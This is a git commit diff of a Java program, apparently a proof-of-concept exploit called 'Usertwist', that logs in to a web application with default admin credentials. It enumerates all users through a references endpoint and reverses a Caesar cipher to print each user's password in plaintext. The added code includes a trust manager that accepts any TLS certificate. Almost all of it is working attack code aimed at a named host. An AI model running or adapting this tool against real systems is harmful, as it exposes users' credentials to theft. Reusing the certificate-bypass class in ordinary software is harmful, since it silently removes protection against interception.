Compare commits
7 Commits
script-rel
...
a329a54e82
| Author | SHA1 | Date | |
|---|---|---|---|
| a329a54e82 | |||
| 91a2a983c2 | |||
| e1e4a26e62 | |||
| 7207b3dca1 | |||
| fb4c53fe36 | |||
| 86495716e5 | |||
| 8e73544d27 |
2
.idea/inspectionProfiles/Project_Default.xml
generated
2
.idea/inspectionProfiles/Project_Default.xml
generated
@@ -2,7 +2,7 @@
|
||||
<profile version="1.0">
|
||||
<option name="myName" value="Project Default" />
|
||||
<inspection_tool class="AutoCloseableResource" enabled="true" level="WARNING" enabled_by_default="true">
|
||||
<option name="METHOD_MATCHER_CONFIG" value="java.util.Formatter,format,java.io.Writer,append,com.google.common.base.Preconditions,checkNotNull,org.hibernate.Session,close,java.io.PrintWriter,printf,java.io.PrintStream,printf,java.net.http.HttpClient,newHttpClient" />
|
||||
<option name="METHOD_MATCHER_CONFIG" value="java.util.Formatter,format,java.io.Writer,append,com.google.common.base.Preconditions,checkNotNull,org.hibernate.Session,close,java.io.PrintWriter,printf,java.io.PrintStream,printf,java.net.http.HttpClient,newHttpClient,java.net.http.HttpClient.Builder,build" />
|
||||
</inspection_tool>
|
||||
</profile>
|
||||
</component>
|
||||
@@ -1,33 +1,51 @@
|
||||
package fr.motysten.usertwist.exploit;
|
||||
|
||||
import fr.motysten.usertwist.exploit.tools.Cesar;
|
||||
import fr.motysten.usertwist.exploit.tools.Parser;
|
||||
import fr.motysten.usertwist.exploit.tools.Request;
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import javax.net.ssl.SSLException;
|
||||
import javax.net.ssl.SSLHandshakeException;
|
||||
import java.io.BufferedReader;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URI;
|
||||
import java.net.http.HttpClient;
|
||||
import java.net.http.HttpRequest;
|
||||
import java.net.http.HttpResponse;
|
||||
import java.security.KeyManagementException;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class Main {
|
||||
|
||||
public static String link = "https://poc.athelas.fr";
|
||||
public static String username = "admin";
|
||||
public static String password = "AdminSecret1C";
|
||||
public static String port = "443";
|
||||
public static int rotation = 4;
|
||||
public static boolean insecure = false;
|
||||
public static boolean asynchronous = true;
|
||||
|
||||
public static void main(String[] args) throws IOException, InterruptedException {
|
||||
public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
|
||||
|
||||
if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) {
|
||||
asynchronous = false;
|
||||
}
|
||||
|
||||
System.out.println("Usertwist exploit by Motysten");
|
||||
System.out.println("Please don't use for unethical purpose !\n");
|
||||
String readLine;
|
||||
|
||||
System.out.println("Please enter the URL to attack (leave empty to use default) :");
|
||||
readLine = reader.readLine();
|
||||
if (!readLine.isEmpty()) {link = readLine;}
|
||||
|
||||
System.out.println("Please enter the port of the remote web server (leave empty to use default) :");
|
||||
readLine = reader.readLine();
|
||||
if (!readLine.isEmpty()) {port = readLine;}
|
||||
|
||||
System.out.println("Please enter the used username (leave empty to use default) :");
|
||||
readLine = reader.readLine();
|
||||
if (!readLine.isEmpty()) {username = readLine;}
|
||||
@@ -36,39 +54,91 @@ public class Main {
|
||||
readLine = reader.readLine();
|
||||
if (!readLine.isEmpty()) {password = readLine;}
|
||||
|
||||
HttpClient client = HttpClient.newHttpClient();
|
||||
System.out.println("Please enter the cesar offset (leave empty to use default) :");
|
||||
readLine = reader.readLine();
|
||||
if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);}
|
||||
|
||||
JSONObject requestJSON = new JSONObject();
|
||||
requestJSON.put("username", username);
|
||||
requestJSON.put("password", password);
|
||||
|
||||
HttpRequest request = HttpRequest.newBuilder(URI.create(link + "/login"))
|
||||
.POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString()))
|
||||
.build();
|
||||
System.out.println("Gathering Bearer token...");
|
||||
|
||||
HttpResponse<String> response = null;
|
||||
|
||||
boolean tokenFound = false;
|
||||
while (!tokenFound) {
|
||||
try {
|
||||
response = Request.get(link, port, "/login", requestJSON, null, insecure);
|
||||
if (response.statusCode() == 308) {
|
||||
System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]");
|
||||
if (reader.readLine().equalsIgnoreCase("n")) {
|
||||
System.err.println("Operation aborted ! Security failure.");
|
||||
} else {
|
||||
link = link.replaceFirst("http", "https");
|
||||
port = "443";
|
||||
}
|
||||
} else {
|
||||
tokenFound = true;
|
||||
}
|
||||
} catch (SSLHandshakeException e) {
|
||||
System.err.println("Remote server certificate issuer couldn't be verified. Someone could be spying on your network.");
|
||||
System.err.println("Would you like to continue anyway ? [y/N]");
|
||||
if (!reader.readLine().equalsIgnoreCase("y")) {
|
||||
System.err.println("Operation aborted ! Security failure.");
|
||||
System.exit(1);
|
||||
} else {
|
||||
insecure = true;
|
||||
}
|
||||
} catch (SSLException e) {
|
||||
if (e.getMessage().contains("plaintext connection?")) {
|
||||
System.err.println("Looks like you're trying to send an HTTPS request on HTTP port. Would you like to switch on port 443 ? [Y/n]");
|
||||
if (reader.readLine().equalsIgnoreCase("n")) {
|
||||
System.err.println("Operation aborted !");
|
||||
System.exit(1);
|
||||
} else {
|
||||
port = "443";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (response.statusCode() == 401) {
|
||||
System.err.println("Invalid credentials ! Please try again (defaults credentials could help)");
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
System.out.println(response.statusCode());
|
||||
|
||||
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
JSONObject responseObject = new JSONObject(response.body());
|
||||
String token = responseObject.optString("token");
|
||||
|
||||
System.out.println("Token found: " + token);
|
||||
|
||||
requestJSON = new JSONObject();
|
||||
requestJSON.put("term", "");
|
||||
requestJSON.put("entity", "users");
|
||||
|
||||
request = HttpRequest.newBuilder(URI.create(link + "/references"))
|
||||
.POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString()))
|
||||
.setHeader("Authorization", "Bearer " + token)
|
||||
.build();
|
||||
System.out.println("\nScanning for existing users...");
|
||||
|
||||
response = client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
Map<String, String> headers = new HashMap<>();
|
||||
headers.put("Authorization", "Bearer " + token);
|
||||
|
||||
response = Request.get(link, port, "/references", requestJSON, headers, insecure);
|
||||
JSONArray usersArray = new JSONArray(response.body());
|
||||
|
||||
for (int i = 0; i < usersArray.length(); i++) {
|
||||
JSONObject user = usersArray.getJSONObject(i);
|
||||
String login = user.getString("username");
|
||||
String password = Cesar.cesarRotate(user.getString("data"), -4);
|
||||
System.out.println(usersArray.length() + " users found !");
|
||||
System.out.println("\nDecrypting passwords...\n");
|
||||
|
||||
System.out.println(login + " => " + password);
|
||||
float startTime = System.nanoTime();
|
||||
if (asynchronous) {
|
||||
Parser.asyncGetPass(usersArray, rotation);
|
||||
} else {
|
||||
Parser.getPass(usersArray, rotation);
|
||||
}
|
||||
float elapsedTime = (System.nanoTime() - startTime) / 1000000;
|
||||
System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms");
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,34 +1,33 @@
|
||||
package fr.motysten.usertwist.exploit.tools;
|
||||
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class Cesar {
|
||||
|
||||
public static String cesarRotate(String input, int offset) {
|
||||
public static String rotate(String input, int offset) {
|
||||
char normalizeKey = (char) (offset % 26);
|
||||
|
||||
String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz";
|
||||
if (offset < 0) {
|
||||
LOWER_ALPHABET = new StringBuilder(LOWER_ALPHABET).reverse().toString();
|
||||
offset = -offset;
|
||||
}
|
||||
String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase();
|
||||
|
||||
StringBuilder output = new StringBuilder();
|
||||
|
||||
|
||||
for (int i = 0; i < input.length(); i++) {
|
||||
char newChar = input.charAt(i);
|
||||
if (!Character.isDigit(input.charAt(i))) {
|
||||
int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i)));
|
||||
int newPos = (pos + offset) % 26;
|
||||
if (Character.isUpperCase(input.charAt(i))) {
|
||||
newChar = UPPER_ALPHABET.charAt(newPos);
|
||||
} else {
|
||||
newChar = LOWER_ALPHABET.charAt(newPos);
|
||||
}
|
||||
}
|
||||
output.append(newChar);
|
||||
}
|
||||
|
||||
return output.toString();
|
||||
return input.chars()
|
||||
.mapToObj(c -> (char) c)
|
||||
.map(c -> {
|
||||
if (Character.isLetter(c)) {
|
||||
char base;
|
||||
if (Character.isUpperCase(c)) {
|
||||
base = 'A';
|
||||
} else {
|
||||
base = 'a';
|
||||
}
|
||||
if (offset < 0) {
|
||||
return (char) (base + (c - base + normalizeKey) % 26);
|
||||
} else {
|
||||
return (char) (base + (c - base - normalizeKey + 26) % 26);
|
||||
}
|
||||
} else {
|
||||
return c;
|
||||
}
|
||||
})
|
||||
.map(String::valueOf)
|
||||
.collect(Collectors.joining());
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
33
src/fr/motysten/usertwist/exploit/tools/Parser.java
Normal file
33
src/fr/motysten/usertwist/exploit/tools/Parser.java
Normal file
@@ -0,0 +1,33 @@
|
||||
package fr.motysten.usertwist.exploit.tools;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONObject;
|
||||
|
||||
public class Parser {
|
||||
|
||||
public static void getPass(JSONArray usersArray, int rotation) {
|
||||
for (int i = 0; i < usersArray.length(); i++) {
|
||||
JSONObject user = usersArray.getJSONObject(i);
|
||||
String login = user.getString("username");
|
||||
String password = Cesar.rotate(user.getString("data"), rotation);
|
||||
|
||||
System.out.println((i + 1) + ". " + login + " => " + password);
|
||||
}
|
||||
}
|
||||
|
||||
public static void asyncGetPass(JSONArray usersArray, int rotation) {
|
||||
|
||||
for (int i = 0; i < usersArray.length(); i++) {
|
||||
|
||||
int finalI = i;
|
||||
new Thread(() -> {
|
||||
JSONObject user = usersArray.getJSONObject(finalI);
|
||||
String login = user.getString("username");
|
||||
String password = Cesar.rotate(user.getString("data"), rotation);
|
||||
|
||||
System.out.println((finalI + 1) + ". " + login + " => " + password);
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
42
src/fr/motysten/usertwist/exploit/tools/Request.java
Normal file
42
src/fr/motysten/usertwist/exploit/tools/Request.java
Normal file
@@ -0,0 +1,42 @@
|
||||
package fr.motysten.usertwist.exploit.tools;
|
||||
|
||||
import org.json.JSONObject;
|
||||
|
||||
import javax.net.ssl.SSLContext;
|
||||
import javax.net.ssl.TrustManager;
|
||||
import java.io.IOException;
|
||||
import java.net.URI;
|
||||
import java.net.http.HttpClient;
|
||||
import java.net.http.HttpRequest;
|
||||
import java.net.http.HttpResponse;
|
||||
import java.security.KeyManagementException;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Map;
|
||||
|
||||
public class Request {
|
||||
|
||||
public static HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers, boolean insecure) throws NoSuchAlgorithmException, KeyManagementException, IOException, InterruptedException {
|
||||
HttpClient client = HttpClient.newHttpClient();
|
||||
|
||||
if (insecure) {
|
||||
SSLContext customContext = SSLContext.getInstance("TLS");
|
||||
customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom());
|
||||
|
||||
client = HttpClient.newBuilder().sslContext(customContext).build();
|
||||
}
|
||||
|
||||
HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint));
|
||||
if (headers != null) {
|
||||
for (Map.Entry<String, String> header : headers.entrySet()) {
|
||||
builder.setHeader(header.getKey(), header.getValue());
|
||||
}
|
||||
}
|
||||
|
||||
builder.POST(HttpRequest.BodyPublishers.ofString(params.toString()));
|
||||
HttpRequest request = builder.build();
|
||||
|
||||
return client.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
}
|
||||
|
||||
}
|
||||
43
src/fr/motysten/usertwist/exploit/tools/SSLBypass.java
Normal file
43
src/fr/motysten/usertwist/exploit/tools/SSLBypass.java
Normal file
@@ -0,0 +1,43 @@
|
||||
package fr.motysten.usertwist.exploit.tools;
|
||||
|
||||
import javax.net.ssl.SSLEngine;
|
||||
import javax.net.ssl.X509ExtendedTrustManager;
|
||||
import java.net.Socket;
|
||||
import java.security.cert.X509Certificate;
|
||||
|
||||
public class SSLBypass extends X509ExtendedTrustManager {
|
||||
@Override
|
||||
public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkClientTrusted(X509Certificate[] x509Certificates, String s) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkServerTrusted(X509Certificate[] x509Certificates, String s) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user